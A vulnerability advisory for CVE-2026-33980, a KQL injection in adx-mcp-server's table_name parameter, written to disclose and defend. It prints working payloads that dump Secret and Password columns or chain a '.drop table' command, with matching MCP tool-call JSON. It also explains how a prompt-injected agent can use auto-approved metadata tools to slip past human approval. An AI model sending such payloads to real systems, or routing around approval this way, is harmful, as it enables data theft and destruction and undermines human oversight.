
KQL injection in adx-mcp-server via table_name — CVE-2026-33980 / CVSS 8.3
Severity: High (CVSS 8.3)
CWE: CWE-943 — Improper Neutralization of Special Elements in Data Query Logic
Affected: adx-mcp-server <= 1.1.0
Advisory: GHSA-vphc-468g-8rfp
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33980
Credit: Romain Deperne
Three MCP tools in adx-mcp-server interpolate the table_name parameter directly into KQL (Kusto Query Language) queries via f-strings. An attacker or prompt-injected AI agent can read any table in the Azure Data Explorer cluster, execute management commands (.drop table), or run arbitrary analytics queries — bypassing the trust boundary between "safe" metadata tools and the raw execute_query tool.
I was going through the awesome-mcp-servers list looking specifically for MCP servers that wrap cloud data platforms — these are high-risk because they're designed to give AI agents direct database access, and MCP tool parameters are fully attacker-controllable (any LLM processing untrusted data can be prompt-injected into passing malicious tool arguments).
Reviewing how MCP tool parameters reached Azure Data Explorer queries showed three direct interpolations in server.py: f"{table_name} | getschema", f"{table_name} | sample {sample_size}", and f".show table {table_name} details".
The interesting part is the trust boundary bypass: the server exposes both a raw execute_query tool (which MCP clients might require human approval for) and these "safe" metadata inspection tools (which get auto-approved). Injecting through the metadata tools lets you bypass whatever approval policy the client enforces. That's what pushed this from "injection bug" to a real security boundary violation.
KQL comment syntax (//) lets a payload suppress the remainder of the original query.
File: src/adx_mcp_server/server.py
# Line 228 — get_table_schema
query = f"{table_name} | getschema"
# Line 248 — sample_table_data
query = f"{table_name} | sample {sample_size}"
# Line 268 — get_table_details
query = f".show table {table_name} details"
All three pass table_name from the MCP tool arguments directly into client.execute(config.database, query) with no validation.
KQL allows piping query operators with | and executing management commands prefixed with .. The // character starts a line comment. Direct f-string interpolation therefore permits query injection:
f"{table_name} | getschema" → append | project Secret // to comment out | getschemaf".show table {table_name} details" → inject \n.drop table to chain a management commandWhy this matters beyond a raw execute_query tool: MCP clients often differentiate between "safe" read-only tools (auto-approved) and raw execution tools (require confirmation). The injection targets the "safe" metadata tools, bypassing the approval boundary.
See poc.py for a full demonstration. Core payloads:
# Data exfiltration via get_table_schema
# f"{table_name} | getschema" becomes:
# "sensitive_data | project Secret, Password | take 100 // | getschema"
# → // comments out "| getschema"; query reads sensitive_data columns
table_name = "sensitive_data | project Secret, Password | take 100 //"
# Destructive management command via get_table_details
# f".show table {table_name} details" becomes:
# ".show table users details\n.drop table critical_data details"
table_name = "users details\n.drop table critical_data"
MCP tool calls:
{"name": "get_table_schema", "arguments": {"table_name": "sensitive_data | project Secret, Password | take 100 //"}}
{"name": "get_table_details", "arguments": {"table_name": "users details\n.drop table critical_data"}}
.drop table, .drop extentstable_name values, turning prompt injection into full data access